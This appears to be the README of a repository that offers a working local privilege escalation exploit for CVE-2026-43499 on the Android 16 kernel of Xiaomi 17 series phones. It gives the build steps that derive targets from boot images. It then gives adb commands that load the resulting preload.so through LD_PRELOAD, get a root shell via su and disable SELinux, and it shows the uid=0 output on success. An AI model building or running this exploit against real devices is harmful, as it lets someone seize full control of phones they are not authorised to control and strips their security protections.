CVE-2026-43499 Implementation for 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
popsicleThis repository contains an Android 16 local privilege escalation implementation for CVE-2026-43499 on Xiaomi 17 Pro Max (popsicle). Verified kernel:
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
Devices with this kernel (Xiaomi 17, Pro, and Ultra series) have all been verified to work.
Requires Python 3 and llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
-o source/src/target.h
make -C source clean preload
When NDK is not auto-detected:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Final artifact:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
On success, you will see:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
After exploitation, the screen can be turned on, unlocked, and the desktop is accessible, but newly launched Android apps crash due to incomplete Framework initialization; after a reboot, app startup returns to normal.
